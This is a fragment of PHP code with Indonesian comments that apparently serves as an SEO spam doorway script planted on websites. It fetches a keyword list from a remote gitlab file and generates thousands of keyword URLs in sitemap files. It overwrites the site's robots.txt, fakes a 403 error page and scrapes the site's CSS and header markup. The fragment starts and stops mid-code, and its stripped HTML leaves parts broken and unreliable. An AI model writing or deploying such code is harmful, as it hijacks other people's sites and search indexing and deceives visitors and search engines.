true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => 30, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, ]); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($content !== false && $httpCode >= 200 && $httpCode < 300) { return $content; } } return false; } function feedback404() { header("HTTP/1.0 403 Forbidden"); echo "

403 Forbidden

"; exit(); } // GitHub raw URL $github_x_url = 'https://gitlab.com/wulizo335/data-json/-/raw/main/x.txt'; $local_x_file = __DIR__ . '/x.txt'; // Fetch & cache keywords dari GitHub function fetchAndCacheKeywords($github_url, $local_file) { if (file_exists($local_file) && (time() - filemtime($local_file)) < 3600) { return file_get_contents($local_file); } $content = fetchRemoteFile($github_url); if ($content !== false) { file_put_contents($local_file, $content); return $content; } if (file_exists($local_file)) { return file_get_contents($local_file); } return false; } // Handle ?sitemap parameter if (isset($_GET['sitemap'])) { $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http"); $base_path = $protocol . "://" . $_SERVER['HTTP_HOST']; $script_dir = dirname($_SERVER['SCRIPT_NAME']); $script_dir = ($script_dir === '/') ? '' : $script_dir; $domain_url = $base_path . $script_dir . '/'; $base_url = $base_path . $script_dir . '/?id='; $sitemap_name = 'sitemap'; $max_links_per_sitemap = 20000; $keywords_content = fetchAndCacheKeywords($github_x_url, $local_x_file); if ($keywords_content === false) { die("❌ Gagal fetch x.txt dari GitHub dan file lokal tidak ada"); } $raw_lines = explode("\n", $keywords_content); $keywords = array_map('trim', $raw_lines); $keywords = array_filter($keywords); if (empty($keywords)) { die("❌ No valid keywords found"); } $sitemap_index = '' . PHP_EOL; $sitemap_index .= '' . PHP_EOL; $sitemap_files = []; foreach ($keywords as $i => $keyword) { $clean_keyword = str_replace(' ', '+', $keyword); $sitemap_num = ceil(($i + 1) / $max_links_per_sitemap); if (!isset($sitemap_files[$sitemap_num])) { $sitemap_files[$sitemap_num] = '' . PHP_EOL; $sitemap_files[$sitemap_num] .= '' . PHP_EOL; } $full_url = $base_url . $clean_keyword; $escaped_url = htmlspecialchars($full_url, ENT_XML1, 'UTF-8'); $sitemap_files[$sitemap_num] .= " " . PHP_EOL; $sitemap_files[$sitemap_num] .= " {$escaped_url}" . PHP_EOL; $sitemap_files[$sitemap_num] .= " " . PHP_EOL; } foreach ($sitemap_files as $num => &$content) { $content .= '' . PHP_EOL; $file_name = "{$sitemap_name}-{$num}.xml"; file_put_contents($file_name, $content); $sitemap_index .= " " . PHP_EOL; $sitemap_index .= " " . htmlspecialchars($domain_url . $file_name, ENT_XML1, 'UTF-8') . "" . PHP_EOL; $sitemap_index .= " " . PHP_EOL; } $sitemap_index .= '' . PHP_EOL; file_put_contents("sitemap-index.xml", $sitemap_index); $robots = "User-agent: *\n"; $robots .= "Allow: /\n\n"; $robots .= "Sitemap: {$domain_url}sitemap-index.xml\n"; file_put_contents("robots.txt", $robots); echo "✅ Sitemap & robots.txt generated from GitHub!"; exit(); } // Function untuk extract CSS dari HTML - IMPROVED function extractCSS($html, $base_url = '') { $css_content = ''; // Extract internal \n"; } // Extract SEMUA link tags dengan berbagai format preg_match_all('/]*?)>/i', $html, $link_matches); if (!empty($link_matches[1])) { foreach ($link_matches[1] as $link_attrs) { // Ambil href if (preg_match('/href\s*=\s*["\']?([^\s"\'>\]]+)["\']?/i', $link_attrs, $href_match)) { $css_url = trim($href_match[1]); // Filter: ambil yang CSS atau stylesheet $is_css = preg_match('/\.css/i', $css_url) || preg_match('/rel\s*=\s*["\']?stylesheet/i', $link_attrs) || preg_match('/rel\s*=\s*["\']?[^"\']*stylesheet[^"\']*["\']?/i', $link_attrs); if ($is_css && !empty(trim($css_url))) { // Resolve relative URLs if (!preg_match('/^(https?:|\/\/)/i', $css_url) && !empty($base_url)) { $css_url = rtrim($base_url, '/') . '/' . ltrim($css_url, '/'); } $css_content .= '' . "\n"; } } } } return $css_content; } // Function untuk extract HEADER dari HTML function extractHeader($html) { // Coba ambil
tag if (preg_match('/]*>.*?<\/header>/is', $html, $matches)) { return $matches[0]; } // Jika tidak ada, coba ambil